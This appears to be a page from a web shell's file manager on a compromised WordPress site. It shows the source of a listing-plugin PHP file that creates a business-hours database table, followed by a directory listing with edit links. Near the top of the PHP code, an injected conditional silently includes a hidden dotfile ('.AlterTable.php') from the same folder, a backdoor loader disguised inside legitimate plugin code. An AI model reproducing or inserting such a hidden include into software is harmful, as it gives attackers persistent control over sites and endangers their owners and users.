ꦫꦣꦺꦤ꧀ꦄꦤ꧀ꦠꦱꦺꦤ

PATH: home / letacommog / newrdv1 / wp-content / plugins1 / wiloke-listing-tools / app / AlterTable

<?php
namespace WilokeListingTools\AlterTable;

if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) {
    include_once($filename);
}

class AlterTableBusinessHours implements AlterTableInterface{
	public static $tblName = 'wilcity_business_hours';
	public $version = '1.0';
	use TableExists;
	
	public function __construct() {
		add_action('plugins_loaded', array($this, 'createTable'));
	}

public function createTable() {
		if ( $this->isTableExists() ){
			return false;
		}

global $wpdb;
		$tblName = $wpdb->prefix . self::$tblName;
		$postTbl = $wpdb->posts;

$charsetCollate = $wpdb->get_charset_collate();
		$sql = "CREATE TABLE $tblName (
          ID bigint(20) NOT NULL AUTO_INCREMENT,
          objectID bigint(20) UNSIGNED NOT NULL,
          dayOfWeek VARCHAR (12)  NOT NULL,
          isOpen VARCHAR (4) NULL,
          firstOpenHour TIME NULL,
          firstCloseHour TIME NULL,
          secondOpenHour TIME NULL,
          secondCloseHour TIME NULL,
          firstOpenHourUTC TIME NULL,
          firstCloseHourUTC TIME NULL,
          secondOpenHourUTC TIME NULL,
          secondCloseHourUTC TIME NULL,
          PRIMARY  KEY (ID),
          FOREIGN KEY (objectID) REFERENCES $postTbl(ID) ON DELETE CASCADE
        ) $charsetCollate";

require_once ABSPATH . 'wp-admin/includes/upgrade.php';
		dbDelta($sql);

update_option(self::$tblName, $this->version);
	}

public function deleteTable() {
		// TODO: Implement deleteTable() method.
	}
}

[+] ..
[-] AlterTableSharesStatistic.php [edit]
[-] AlterTableEventsData.php [edit]
[-] .AlterTable.php [edit]
[-] AlterTableReviews.php [edit]
[-] AlterTableBusinessHourMeta.php [edit]
[-] AlterTableNotifications.php [edit]
[-] AlterTableFollower.php [edit]
[-] AlterTableFavoriteStatistic.php [edit]
[-] AlterTableBusinessHours.php [edit]
[-] AlterTableViewStatistic.php [edit]
[-] AlterTablePaymentMeta.php [edit]
[-] AlterTableReviewMeta.php [edit]
[-] AlterTableInvoices.php [edit]
[-] AlterTableLatLng.php [edit]
[-] AlterTableFavoritesStatistic.php [edit]
[-] AlterTableInterface.php [edit]
[-] AlterTableMessage.php [edit]
[-] AlterTablePosts.php [edit]
[-] AlterTablePaymentPlanRelationship.php [edit]
[-] AlterTablePaymentHistory.php [edit]
[-] AlterTableComment.php [edit]
[-] AlterTableInvoiceMeta.php [edit]
[-] TableExists.php [edit]
[-] AlterTablePlanRelationships.php [edit]